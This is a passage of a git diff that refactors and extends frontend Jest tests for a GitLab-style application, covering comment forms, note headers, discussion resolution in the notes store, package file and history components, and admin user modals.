- expect(trimText(wrapper.text())).toEqual('Please register or sign in to reply');
+ expect(wrapper.text()).toBe('Please register or sign in to reply');
});
it('should not render submission form', () => {
- expect(wrapper.find('textarea').exists()).toBe(false);
+ expect(findTextArea().exists()).toBe(false);
});
});
- describe('when issuable is open', () => {
- beforeEach(() => {
- setupStore(userDataMock, noteableDataMock);
- });
-
- it.each([['opened', 'warning'], ['reopened', 'warning']])(
- 'when %i, it changes the variant of the btn to %i',
- (a, expected) => {
- store.state.noteableData.state = a;
-
- mountComponent();
-
- expect(wrapper.find('.js-action-button').props('variant')).toBe(expected);
- },
- );
- });
-
- describe('when issuable is not open', () => {
- beforeEach(() => {
- setupStore(userDataMock, noteableDataMock);
-
- mountComponent();
- });
+ describe('close/reopen button variants', () => {
+ it.each([
+ [constants.OPENED, 'warning'],
+ [constants.REOPENED, 'warning'],
+ [constants.CLOSED, 'default'],
+ ])('when %s, the variant of the btn is %s', (state, expected) => {
+ mountComponent({ noteableData: { ...noteableDataMock, state } });
- it('should render the "default" variant of the button', () => {
- expect(wrapper.find('.js-action-button').props('variant')).toBe('warning');
+ expect(findCloseReopenButton().props('variant')).toBe(expected);
});
});
});
diff --git a/spec/frontend/notes/components/multiline_comment_utils_spec.js b/spec/frontend/notes/components/multiline_comment_utils_spec.js
index af4394cc648..99b33e7cd5f 100644
--- a/spec/frontend/notes/components/multiline_comment_utils_spec.js
+++ b/spec/frontend/notes/components/multiline_comment_utils_spec.js
@@ -34,8 +34,17 @@ describe('Multiline comment utilities', () => {
expect(getSymbol(type)).toEqual(result);
});
});
- describe('getCommentedLines', () => {
- const diffLines = [{ line_code: '1' }, { line_code: '2' }, { line_code: '3' }];
+ const inlineDiffLines = [{ line_code: '1' }, { line_code: '2' }, { line_code: '3' }];
+ const parallelDiffLines = inlineDiffLines.map(line => ({
+ left: { ...line },
+ right: { ...line },
+ }));
+
+ describe.each`
+ view | diffLines
+ ${'inline'} | ${inlineDiffLines}
+ ${'parallel'} | ${parallelDiffLines}
+ `('getCommentedLines $view view', ({ diffLines }) => {
it('returns a default object when `selectedCommentPosition` is not provided', () => {
expect(getCommentedLines(undefined, diffLines)).toEqual({ startLine: 4, endLine: 4 });
});
diff --git a/spec/frontend/notes/components/note_header_spec.js b/spec/frontend/notes/components/note_header_spec.js
index 69aab0d051e..1c6d0bafda8 100644
--- a/spec/frontend/notes/components/note_header_spec.js
+++ b/spec/frontend/notes/components/note_header_spec.js
@@ -22,6 +22,10 @@ describe('NoteHeader component', () => {
const findTimestamp = () => wrapper.find({ ref: 'noteTimestamp' });
const findConfidentialIndicator = () => wrapper.find('[data-testid="confidentialIndicator"]');
const findSpinner = () => wrapper.find({ ref: 'spinner' });
+ const findAuthorStatus = () => wrapper.find({ ref: 'authorStatus' });
+
+ const statusHtml =
+ '"<span class="user-status-emoji has-tooltip" title="foo bar" data-html="true" data-placement="top"><gl-emoji title="basketball and hoop" data-name="basketball" data-unicode-version="6.0">ðŸ€</gl-emoji></span>"';
const author = {
avatar_url: null,
@@ -30,6 +34,8 @@ describe('NoteHeader component', () => {
path: '/root',
state: 'active',
username: 'root',
+ show_status: true,
+ status_tooltip_html: statusHtml,
status: {
availability: '',
},
@@ -109,6 +115,32 @@ describe('NoteHeader component', () => {
expect(wrapper.find('.js-user-link').text()).toContain('(Busy)');
});
+ it('renders author status', () => {
+ createComponent({ author });
+
+ expect(findAuthorStatus().exists()).toBe(true);
+ });
+
+ it('does not render author status if show_status=false', () => {
+ createComponent({
+ author: { ...author, status: { availability: AVAILABILITY_STATUS.BUSY }, show_status: false },
+ });
+
+ expect(findAuthorStatus().exists()).toBe(false);
+ });
+
+ it('does not render author status if status_tooltip_html=null', () => {
+ createComponent({
+ author: {
+ ...author,
+ status: { availability: AVAILABILITY_STATUS.BUSY },
+ status_tooltip_html: null,
+ },
+ });
+
+ expect(findAuthorStatus().exists()).toBe(false);
+ });
+
it('renders deleted user text if author is not passed as a prop', () => {
createComponent();
@@ -206,13 +238,12 @@ describe('NoteHeader component', () => {
createComponent({
author: {
...author,
- status_tooltip_html:
- '"<span class="user-status-emoji has-tooltip" title="foo bar" data-html="true" data-placement="top"><gl-emoji title="basketball and hoop" data-name="basketball" data-unicode-version="6.0">ðŸ€</gl-emoji></span>"',
+ status_tooltip_html: statusHtml,
},
});
return nextTick().then(() => {
- const authorStatus = wrapper.find({ ref: 'authorStatus' });
+ const authorStatus = findAuthorStatus();
authorStatus.trigger('mouseenter');
expect(authorStatus.find('gl-emoji').attributes('title')).toBeUndefined();
diff --git a/spec/frontend/notes/mixins/discussion_navigation_spec.js b/spec/frontend/notes/mixins/discussion_navigation_spec.js
index d203435e7bf..4114df618e5 100644
--- a/spec/frontend/notes/mixins/discussion_navigation_spec.js
+++ b/spec/frontend/notes/mixins/discussion_navigation_spec.js
@@ -42,6 +42,7 @@ describe('Discussion navigation mixin', () => {
);
jest.spyOn(utils, 'scrollToElementWithContext');
+ jest.spyOn(utils, 'scrollToElement');
expandDiscussion = jest.fn();
const { actions, ...notesRest } = notesModule();
@@ -133,7 +134,7 @@ describe('Discussion navigation mixin', () => {
});
it('scrolls to element', () => {
- expect(utils.scrollToElementWithContext).toHaveBeenCalledWith(
+ expect(utils.scrollToElement).toHaveBeenCalledWith(
findDiscussion('div.discussion', expected),
);
});
@@ -200,7 +201,7 @@ describe('Discussion navigation mixin', () => {
});
it('scrolls to discussion', () => {
- expect(utils.scrollToElementWithContext).toHaveBeenCalledWith(
+ expect(utils.scrollToElement).toHaveBeenCalledWith(
findDiscussion('div.discussion', expected),
);
});
diff --git a/spec/frontend/notes/stores/actions_spec.js b/spec/frontend/notes/stores/actions_spec.js
index 920959f41e7..c9912621785 100644
--- a/spec/frontend/notes/stores/actions_spec.js
+++ b/spec/frontend/notes/stores/actions_spec.js
@@ -174,10 +174,10 @@ describe('Actions Notes Store', () => {
axiosMock.onAny().reply(200, {});
});
- describe('closeIssue', () => {
+ describe('closeMergeRequest', () => {
it('sets state as closed', done => {
store
- .dispatch('closeIssue', { notesData: { closeIssuePath: '' } })
+ .dispatch('closeIssuable', { notesData: { closeIssuePath: '' } })
.then(() => {
expect(store.state.noteableData.state).toEqual('closed');
expect(store.state.isToggleStateButtonLoading).toEqual(false);
@@ -187,10 +187,10 @@ describe('Actions Notes Store', () => {
});
});
- describe('reopenIssue', () => {
+ describe('reopenMergeRequest', () => {
it('sets state as reopened', done => {
store
- .dispatch('reopenIssue', { notesData: { reopenIssuePath: '' } })
+ .dispatch('reopenIssuable', { notesData: { reopenIssuePath: '' } })
.then(() => {
expect(store.state.noteableData.state).toEqual('reopened');
expect(store.state.isToggleStateButtonLoading).toEqual(false);
@@ -253,30 +253,6 @@ describe('Actions Notes Store', () => {
});
});
- describe('toggleBlockedIssueWarning', () => {
- it('should set issue warning as true', done => {
- testAction(
- actions.toggleBlockedIssueWarning,
- true,
- {},
- [{ type: 'TOGGLE_BLOCKED_ISSUE_WARNING', payload: true }],
- [],
- done,
- );
- });
-
- it('should set issue warning as false', done => {
- testAction(
- actions.toggleBlockedIssueWarning,
- false,
- {},
- [{ type: 'TOGGLE_BLOCKED_ISSUE_WARNING', payload: false }],
- [],
- done,
- );
- });
- });
-
describe('fetchData', () => {
describe('given there are no notes', () => {
const lastFetchedAt = '13579';
@@ -944,10 +920,16 @@ describe('Actions Notes Store', () => {
it('when service success, commits and resolves discussion', done => {
testSubmitSuggestion(done, () => {
expect(commit.mock.calls).toEqual([
+ [mutationTypes.SET_RESOLVING_DISCUSSION, true],
[mutationTypes.APPLY_SUGGESTION, { discussionId, noteId, suggestionId }],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
- expect(dispatch.mock.calls).toEqual([['resolveDiscussion', { discussionId }]]);
+ expect(dispatch.mock.calls).toEqual([
+ ['stopPolling'],
+ ['resolveDiscussion', { discussionId }],
+ ['restartPolling'],
+ ]);
expect(Flash).not.toHaveBeenCalled();
});
});
@@ -958,8 +940,11 @@ describe('Actions Notes Store', () => {
Api.applySuggestion.mockReturnValue(Promise.reject(response));
testSubmitSuggestion(done, () => {
- expect(commit).not.toHaveBeenCalled();
- expect(dispatch).not.toHaveBeenCalled();
+ expect(commit.mock.calls).toEqual([
+ [mutationTypes.SET_RESOLVING_DISCUSSION, true],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, false],
+ ]);
+ expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
expect(Flash).toHaveBeenCalledWith(TEST_ERROR_MESSAGE, 'alert', flashContainer);
});
});
@@ -970,8 +955,11 @@ describe('Actions Notes Store', () => {
Api.applySuggestion.mockReturnValue(Promise.reject(response));
testSubmitSuggestion(done, () => {
- expect(commit).not.toHaveBeenCalled();
- expect(dispatch).not.toHaveBeenCalled();
+ expect(commit.mock.calls).toEqual([
+ [mutationTypes.SET_RESOLVING_DISCUSSION, true],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, false],
+ ]);
+ expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
expect(Flash).toHaveBeenCalledWith(
'Something went wrong while applying the suggestion. Please try again.',
'alert',
@@ -1015,15 +1003,19 @@ describe('Actions Notes Store', () => {
testSubmitSuggestionBatch(done, () => {
expect(commit.mock.calls).toEqual([
[mutationTypes.SET_APPLYING_BATCH_STATE, true],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, true],
[mutationTypes.APPLY_SUGGESTION, batchSuggestionsInfo[0]],
[mutationTypes.APPLY_SUGGESTION, batchSuggestionsInfo[1]],
[mutationTypes.CLEAR_SUGGESTION_BATCH],
[mutationTypes.SET_APPLYING_BATCH_STATE, false],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
expect(dispatch.mock.calls).toEqual([
+ ['stopPolling'],
['resolveDiscussion', { discussionId: discussionIds[0] }],
['resolveDiscussion', { discussionId: discussionIds[1] }],
+ ['restartPolling'],
]);
expect(Flash).not.toHaveBeenCalled();
@@ -1038,10 +1030,12 @@ describe('Actions Notes Store', () => {
testSubmitSuggestionBatch(done, () => {
expect(commit.mock.calls).toEqual([
[mutationTypes.SET_APPLYING_BATCH_STATE, true],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, true],
[mutationTypes.SET_APPLYING_BATCH_STATE, false],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
- expect(dispatch).not.toHaveBeenCalled();
+ expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
expect(Flash).toHaveBeenCalledWith(TEST_ERROR_MESSAGE, 'alert', flashContainer);
});
});
@@ -1054,10 +1048,12 @@ describe('Actions Notes Store', () => {
testSubmitSuggestionBatch(done, () => {
expect(commit.mock.calls).toEqual([
[mutationTypes.SET_APPLYING_BATCH_STATE, true],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, true],
[mutationTypes.SET_APPLYING_BATCH_STATE, false],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
- expect(dispatch).not.toHaveBeenCalled();
+ expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
expect(Flash).toHaveBeenCalledWith(
'Something went wrong while applying the batch of suggestions. Please try again.',
'alert',
@@ -1072,10 +1068,12 @@ describe('Actions Notes Store', () => {
testSubmitSuggestionBatch(done, () => {
expect(commit.mock.calls).toEqual([
[mutationTypes.SET_APPLYING_BATCH_STATE, true],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, true],
[mutationTypes.APPLY_SUGGESTION, batchSuggestionsInfo[0]],
[mutationTypes.APPLY_SUGGESTION, batchSuggestionsInfo[1]],
[mutationTypes.CLEAR_SUGGESTION_BATCH],
[mutationTypes.SET_APPLYING_BATCH_STATE, false],
+ [mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
expect(Flash).not.toHaveBeenCalled();
diff --git a/spec/frontend/notes/stores/mutation_spec.js b/spec/frontend/notes/stores/mutation_spec.js
index 2618c3a53b8..ec4de925721 100644
--- a/spec/frontend/notes/stores/mutation_spec.js
+++ b/spec/frontend/notes/stores/mutation_spec.js
@@ -377,6 +377,16 @@ describe('Notes Store mutations', () => {
});
});
+ describe('SET_RESOLVING_DISCUSSION', () => {
+ it('should set resolving discussion state', () => {
+ const state = {};
+
+ mutations.SET_RESOLVING_DISCUSSION(state, true);
+
+ expect(state.isResolvingDiscussion).toEqual(true);
+ });
+ });
+
describe('UPDATE_NOTE', () => {
it('should update a note', () => {
const state = {
@@ -687,42 +697,6 @@ describe('Notes Store mutations', () => {
});
});
- describe('TOGGLE_BLOCKED_ISSUE_WARNING', () => {
- it('should set isToggleBlockedIssueWarning as true', () => {
- const state = {
- discussions: [],
- targetNoteHash: null,
- lastFetchedAt: null,
- isToggleStateButtonLoading: false,
- isToggleBlockedIssueWarning: false,
- notesData: {},
- userData: {},
- noteableData: {},
- };
-
- mutations.TOGGLE_BLOCKED_ISSUE_WARNING(state, true);
-
- expect(state.isToggleBlockedIssueWarning).toEqual(true);
- });
-
- it('should set isToggleBlockedIssueWarning as false', () => {
- const state = {
- discussions: [],
- targetNoteHash: null,
- lastFetchedAt: null,
- isToggleStateButtonLoading: false,
- isToggleBlockedIssueWarning: true,
- notesData: {},
- userData: {},
- noteableData: {},
- };
-
- mutations.TOGGLE_BLOCKED_ISSUE_WARNING(state, false);
-
- expect(state.isToggleBlockedIssueWarning).toEqual(false);
- });
- });
-
describe('SET_APPLYING_BATCH_STATE', () => {
const buildDiscussions = suggestionsInfo => {
const suggestions = suggestionsInfo.map(({ suggestionId }) => ({ id: suggestionId }));
diff --git a/spec/frontend/packages/details/components/app_spec.js b/spec/frontend/packages/details/components/app_spec.js
index e82c74e56e5..97df117df0b 100644
--- a/spec/frontend/packages/details/components/app_spec.js
+++ b/spec/frontend/packages/details/components/app_spec.js
@@ -16,6 +16,7 @@ import DependencyRow from '~/packages/details/components/dependency_row.vue';
import PackageHistory from '~/packages/details/components/package_history.vue';
import AdditionalMetadata from '~/packages/details/components/additional_metadata.vue';
import InstallationCommands from '~/packages/details/components/installation_commands.vue';
+import PackageFiles from '~/packages/details/components/package_files.vue';
import {
composerPackage,
@@ -23,7 +24,6 @@ import {
mavenPackage,
mavenFiles,
npmPackage,
- npmFiles,
nugetPackage,
} from '../../mock_data';
@@ -82,8 +82,6 @@ describe('PackagesApp', () => {
const packageTitle = () => wrapper.find(PackageTitle);
const emptyState = () => wrapper.find(GlEmptyState);
- const allFileRows = () => wrapper.findAll('.js-file-row');
- const firstFileDownloadLink = () => wrapper.find('.js-file-download');
const deleteButton = () => wrapper.find('.js-delete-button');
const deleteModal = () => wrapper.find(GlModal);
const modalDeleteButton = () => wrapper.find({ ref: 'modal-delete-button' });
@@ -98,6 +96,7 @@ describe('PackagesApp', () => {
const findPackageHistory = () => wrapper.find(PackageHistory);
const findAdditionalMetadata = () => wrapper.find(AdditionalMetadata);
const findInstallationCommands = () => wrapper.find(InstallationCommands);
+ const findPackageFiles = () => wrapper.find(PackageFiles);
beforeEach(() => {
delete window.location;
@@ -144,28 +143,7 @@ describe('PackagesApp', () => {
it('hides the files table if package type is COMPOSER', () => {
createComponent({ packageEntity: composerPackage });
- expect(allFileRows().exists()).toBe(false);
- });
-
- it('renders a single file for an npm package as they only contain one file', () => {
- createComponent({ packageEntity: npmPackage, packageFiles: npmFiles });
-
- expect(allFileRows()).toExist();
- expect(allFileRows()).toHaveLength(1);
- });
-
- it('renders multiple files for a package that contains more than one file', () => {
- createComponent();
-
- expect(allFileRows()).toExist();
- expect(allFileRows()).toHaveLength(2);
- });
-
- it('allows the user to download a package file by rendering a download link', () => {
- createComponent();
-
- expect(allFileRows()).toExist();
- expect(firstFileDownloadLink().vm.$attrs.href).toContain('download');
+ expect(findPackageFiles().exists()).toBe(false);
});
describe('deleting packages', () => {
@@ -331,7 +309,7 @@ describe('PackagesApp', () => {
it(`file download link call event with ${TrackingActions.PULL_PACKAGE}`, () => {
createComponent({ packageEntity: conanPackage });
- firstFileDownloadLink().vm.$emit('click');
+ findPackageFiles().vm.$emit('download-file');
expect(eventSpy).toHaveBeenCalledWith(
category,
TrackingActions.PULL_PACKAGE,
diff --git a/spec/frontend/packages/details/components/package_files_spec.js b/spec/frontend/packages/details/components/package_files_spec.js
new file mode 100644
index 00000000000..813a2170154
--- /dev/null
+++ b/spec/frontend/packages/details/components/package_files_spec.js
@@ -0,0 +1,131 @@
+import { mount } from '@vue/test-utils';
+import stubChildren from 'helpers/stub_children';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+import FileIcon from '~/vue_shared/components/file_icon.vue';
+import component from '~/packages/details/components/package_files.vue';
+
+import { npmFiles, mavenFiles } from '../../mock_data';
+
+describe('Package Files', () => {
+ let wrapper;
+
+ const findAllRows = () => wrapper.findAll('[data-testid="file-row"');
+ const findFirstRow = () => findAllRows().at(0);
+ const findFirstRowDownloadLink = () => findFirstRow().find('[data-testid="download-link"');
+ const findFirstRowCommitLink = () => findFirstRow().find('[data-testid="commit-link"');
+ const findFirstRowFileIcon = () => findFirstRow().find(FileIcon);
+ const findFirstRowCreatedAt = () => findFirstRow().find(TimeAgoTooltip);
+
+ const createComponent = (packageFiles = npmFiles) => {
+ wrapper = mount(component, {
+ propsData: {
+ packageFiles,
+ },
+ stubs: {
+ ...stubChildren(component),
+ GlTable: false,
+ GlLink: '<div><slot></slot></div>',
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('rows', () => {
+ it('renders a single file for an npm package', () => {
+ createComponent();
+
+ expect(findAllRows()).toHaveLength(1);
+ });
+
+ it('renders multiple files for a package that contains more than one file', () => {
+ createComponent(mavenFiles);
+
+ expect(findAllRows()).toHaveLength(2);
+ });
+ });
+
+ describe('link', () => {
+ it('exists', () => {
+ createComponent();
+
+ expect(findFirstRowDownloadLink().exists()).toBe(true);
+ });
+
+ it('has the correct attrs bound', () => {
+ createComponent();
+
+ expect(findFirstRowDownloadLink().attributes('href')).toBe(npmFiles[0].download_path);
+ });
+
+ it('emits "download-file" event on click', () => {
+ createComponent();
+
+ findFirstRowDownloadLink().vm.$emit('click');
+
+ expect(wrapper.emitted('download-file')).toEqual([[]]);
+ });
+ });
+
+ describe('file-icon', () => {
+ it('exists', () => {
+ createComponent();
+
+ expect(findFirstRowFileIcon().exists()).toBe(true);
+ });
+
+ it('has the correct props bound', () => {
+ createComponent();
+
+ expect(findFirstRowFileIcon().props('fileName')).toBe(npmFiles[0].file_name);
+ });
+ });
+
+ describe('time-ago tooltip', () => {
+ it('exists', () => {
+ createComponent();
+
+ expect(findFirstRowCreatedAt().exists()).toBe(true);
+ });
+
+ it('has the correct props bound', () => {
+ createComponent();
+
+ expect(findFirstRowCreatedAt().props('time')).toBe(npmFiles[0].created_at);
+ });
+ });
+
+ describe('commit', () => {
+ describe('when package file has a pipeline associated', () => {
+ it('exists', () => {
+ createComponent();
+
+ expect(findFirstRowCommitLink().exists()).toBe(true);
+ });
+
+ it('the link points to the commit url', () => {
+ createComponent();
+
+ expect(findFirstRowCommitLink().attributes('href')).toBe(
+ npmFiles[0].pipelines[0].project.commit_url,
+ );
+ });
+
+ it('the text is git_commit_message', () => {
+ createComponent();
+
+ expect(findFirstRowCommitLink().text()).toBe(npmFiles[0].pipelines[0].git_commit_message);
+ });
+ });
+ describe('when package file has no pipeline associated', () => {
+ it('does not exist', () => {
+ createComponent(mavenFiles);
+
+ expect(findFirstRowCommitLink().exists()).toBe(false);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/packages/details/components/package_history_spec.js b/spec/frontend/packages/details/components/package_history_spec.js
index f745a457b0a..c43ac9b9c40 100644
--- a/spec/frontend/packages/details/components/package_history_spec.js
+++ b/spec/frontend/packages/details/components/package_history_spec.js
@@ -1,7 +1,9 @@
import { shallowMount } from '@vue/test-utils';
import { GlLink, GlSprintf } from '@gitlab/ui';
+import { stubComponent } from 'helpers/stub_component';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import HistoryItem from '~/vue_shared/components/registry/history_item.vue';
+import { HISTORY_PIPELINES_LIMIT } from '~/packages/details/constants';
import component from '~/packages/details/components/package_history.vue';
import { mavenPackage, mockPipelineInfo } from '../../mock_data';
@@ -13,14 +15,16 @@ describe('Package History', () => {
packageEntity: { ...mavenPackage },
};
+ const createPipelines = amount =>
+ [...Array(amount)].map((x, index) => ({ ...mockPipelineInfo, id: index + 1 }));
+
const mountComponent = props => {
wrapper = shallowMount(component, {
propsData: { ...defaultProps, ...props },
stubs: {
- HistoryItem: {
- props: HistoryItem.props,
+ HistoryItem: stubComponent(HistoryItem, {
template: '<div data-testid="history-element"><slot></slot></div>',
- },
+ }),
GlSprintf,
},
});
@@ -56,55 +60,58 @@ describe('Package History', () => {
expect.arrayContaining(['timeline', 'main-notes-list', 'notes']),
);
});
-
describe.each`
- name | icon | text | timeAgoTooltip | link
- ${'created-on'} | ${'clock'} | ${'Test package version 1.0.0 was created'} | ${mavenPackage.created_at} | ${null}
- ${'updated-at'} | ${'pencil'} | ${'Test package version 1.0.0 was updated'} | ${mavenPackage.updated_at} | ${null}
- ${'commit'} | ${'commit'} | ${'Commit sha-baz on branch branch-name'} | ${null} | ${mockPipelineInfo.project.commit_url}
- ${'pipeline'} | ${'pipeline'} | ${'Pipeline #1 triggered by foo'} | ${mockPipelineInfo.created_at} | ${mockPipelineInfo.project.pipeline_url}
- ${'published'} | ${'package'} | ${'Published to the baz project Package Registry'} | ${mavenPackage.created_at} | ${null}
- `('history element $name', ({ name, icon, text, timeAgoTooltip, link }) => {
- let element;
-
- beforeEach(() => {
- mountComponent({ packageEntity: { ...mavenPackage, pipeline: mockPipelineInfo } });
- element = findHistoryElement(name);
- });
-
- it('has the correct icon', () => {
- expect(element.props('icon')).toBe(icon);
- });
-
- it('has the correct text', () => {
- expect(element.text()).toBe(text);
- });
-
- it('time-ago tooltip', () => {
- const timeAgo = findElementTimeAgo(element);
- const exist = Boolean(timeAgoTooltip);
-
- expect(timeAgo.exists()).toBe(exist);
- if (exist) {
- expect(timeAgo.props('time')).toBe(timeAgoTooltip);
- }
- });
-
- it('link', () => {
- const linkElement = findElementLink(element);
- const exist = Boolean(link);
-
- expect(linkElement.exists()).toBe(exist);
- if (exist) {
- expect(linkElement.attributes('href')).toBe(link);
- }
- });
- });
-
- describe('when pipelineInfo is missing', () => {
- it.each(['commit', 'pipeline'])('%s history element is hidden', name => {
- mountComponent();
- expect(findHistoryElement(name).exists()).toBe(false);
- });
- });
+ name | amount | icon | text | timeAgoTooltip | link
+ ${'created-on'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'clock'} | ${'Test package version 1.0.0 was first created'} | ${mavenPackage.created_at} | ${null}
+ ${'first-pipeline-commit'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'commit'} | ${'Created by commit #sha-baz on branch branch-name'} | ${null} | ${mockPipelineInfo.project.commit_url}
+ ${'first-pipeline-pipeline'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pipeline'} | ${'Built by pipeline #1 triggered by foo'} | ${mockPipelineInfo.created_at} | ${mockPipelineInfo.project.pipeline_url}
+ ${'published'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'package'} | ${'Published to the baz project Package Registry'} | ${mavenPackage.created_at} | ${null}
+ ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'history'} | ${'Package has 1 archived update'} | ${null} | ${null}
+ ${'archived'} | ${HISTORY_PIPELINES_LIMIT + 3} | ${'history'} | ${'Package has 2 archived updates'} | ${null} | ${null}
+ ${'pipeline-entry'} | ${HISTORY_PIPELINES_LIMIT + 2} | ${'pencil'} | ${'Package updated by commit #sha-baz on branch branch-name, built by pipeline #3, and published to the registry'} | ${mavenPackage.created_at} | ${mockPipelineInfo.project.commit_url}
+ `(
+ 'with $amount pipelines history element $name',
+ ({ name, icon, text, timeAgoTooltip, link, amount }) => {
+ let element;
+
+ beforeEach(() => {
+ mountComponent({
+ packageEntity: { ...mavenPackage, pipelines: createPipelines(amount) },
+ });
+ element = findHistoryElement(name);
+ });
+
+ it('exists', () => {
+ expect(element.exists()).toBe(true);
+ });
+
+ it('has the correct icon', () => {
+ expect(element.props('icon')).toBe(icon);
+ });
+
+ it('has the correct text', () => {
+ expect(element.text()).toBe(text);
+ });
+
+ it('time-ago tooltip', () => {
+ const timeAgo = findElementTimeAgo(element);
+ const exist = Boolean(timeAgoTooltip);
+
+ expect(timeAgo.exists()).toBe(exist);
+ if (exist) {
+ expect(timeAgo.props('time')).toBe(timeAgoTooltip);
+ }
+ });
+
+ it('link', () => {
+ const linkElement = findElementLink(element);
+ const exist = Boolean(link);
+
+ expect(linkElement.exists()).toBe(exist);
+ if (exist) {
+ expect(linkElement.attributes('href')).toBe(link);
+ }
+ });
+ },
+ );
});
diff --git a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
index d27038e765f..c51130dae00 100644
--- a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
+++ b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
@@ -202,6 +202,67 @@ exports[`packages_list_app renders 1`] = `
</b-tab-stub>
<b-tab-stub
tag="div"
+ title="Generic"
+ titlelinkclass="gl-tab-nav-item"
+ >
+ <template>
+ <div>
+ <section
+ class="row empty-state text-center"
+ >
+ <div
+ class="col-12"
+ >
+ <div
+ class="svg-250 svg-content"
+ >
+ <img
+ alt="There are no Generic packages yet"
+ class="gl-max-w-full"
+ src="helpSvg"
+ />
+ </div>
+ </div>
+
+ <div
+ class="col-12"
+ >
+ <div
+ class="text-content gl-mx-auto gl-my-0 gl-p-5"
+ >
+ <h1
+ class="h4"
+ >
+ There are no Generic packages yet
+ </h1>
+
+ <p>
+ Learn how to
+ <b-link-stub
+ class="gl-link"
+ event="click"
+ href="helpUrl"
+ routertag="a"
+ target="_blank"
+ >
+ publish and share your packages
+ </b-link-stub>
+ with GitLab.
+ </p>
+
+ <div>
+ <!---->
+
+ <!---->
+ </div>
+ </div>
+ </div>
+ </section>
+ </div>
+ </template>
+ </b-tab-stub>
+ <b-tab-stub
+ tag="div"
title="Maven"
titlelinkclass="gl-tab-nav-item"
>
diff --git a/spec/frontend/packages/mock_data.js b/spec/frontend/packages/mock_data.js
index d7494bf85d0..fbc167729d9 100644
--- a/spec/frontend/packages/mock_data.js
+++ b/spec/frontend/packages/mock_data.js
@@ -76,6 +76,9 @@ export const npmFiles = [
id: 2,
size: 200,
download_path: '/-/package_files/2/download',
+ pipelines: [
+ { id: 1, project: { commit_url: 'http://foo.bar' }, git_commit_message: 'foo bar baz?' },
+ ],
},
];
diff --git a/spec/frontend/pages/admin/users/components/__snapshots__/user_operation_confirmation_modal_spec.js.snap b/spec/frontend/pages/admin/users/components/__snapshots__/user_operation_confirmation_modal_spec.js.snap
deleted file mode 100644
index dbf8caae357..00000000000
--- a/spec/frontend/pages/admin/users/components/__snapshots__/user_operation_confirmation_modal_spec.js.snap
+++ /dev/null
@@ -1,34 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`User Operation confirmation modal renders modal with form included 1`] = `
-<gl-modal-stub
- modalclass=""
- modalid="user-operation-modal"
- ok-title="action"
- ok-variant="warning"
- size="md"
- title="title"
- titletag="h4"
->
- <form
- action="/url"
- method="post"
- >
- <span>
- content
- </span>
-
- <input
- name="_method"
- type="hidden"
- value="method"
- />
-
- <input
- name="authenticity_token"
- type="hidden"
- value="csrf"
- />
- </form>
-</gl-modal-stub>
-`;
diff --git a/spec/frontend/pages/admin/users/components/user_modal_manager_spec.js b/spec/frontend/pages/admin/users/components/user_modal_manager_spec.js
index 3d615d9d05f..6df2efd624d 100644
--- a/spec/frontend/pages/admin/users/components/user_modal_manager_spec.js
+++ b/spec/frontend/pages/admin/users/components/user_modal_manager_spec.js
@@ -14,21 +14,18 @@ describe('Users admin page Modal Manager', () => {
},
};
- const actionModals = {
- action1: ModalStub,
- action2: ModalStub,
- };
-
let wrapper;
const createComponent = (props = {}) => {
wrapper = mount(UserModalManager, {
propsData: {
- actionModals,
modalConfiguration,
csrfToken: 'dummyCSRF',
...props,
},
+ stubs: {
+ DeleteUserModal: ModalStub,
+ },
});
};
@@ -43,11 +40,6 @@ describe('Users admin page Modal Manager', () => {
expect(wrapper.find({ ref: 'modal' }).exists()).toBeFalsy();
});
- it('throws if non-existing action is requested', () => {
- createComponent();
- expect(() => wrapper.vm.show({ glModalAction: 'non-existing' })).toThrow();
- });
-
it('throws if action has no proper configuration', () => {
createComponent({
modalConfiguration: {},
diff --git a/spec/frontend/pages/admin/users/components/user_operation_confirmation_modal_spec.js b/spec/frontend/pages/admin/users/components/user_operation_confirmation_modal_spec.js
deleted file mode 100644
index f3a37a255cd..00000000000
--- a/spec/frontend/pages/admin/users/components/user_operation_confirmation_modal_spec.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlModal } from '@gitlab/ui';
-import UserOperationConfirmationModal from '~/pages/admin/users/components/user_operation_confirmation_modal.vue';
-
-describe('User Operation confirmation modal', () => {
- let wrapper;
-
- const createComponent = (props = {}) => {
- wrapper = shallowMount(UserOperationConfirmationModal, {
- propsData: {
- title: 'title',
- content: 'content',
- action: 'action',
- url: '/url',
- username: 'username',
- csrfToken: 'csrf',
- method: 'method',
- ...props,
- },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('renders modal with form included', () => {
- createComponent();
- expect(wrapper.element).toMatchSnapshot();
- });
-
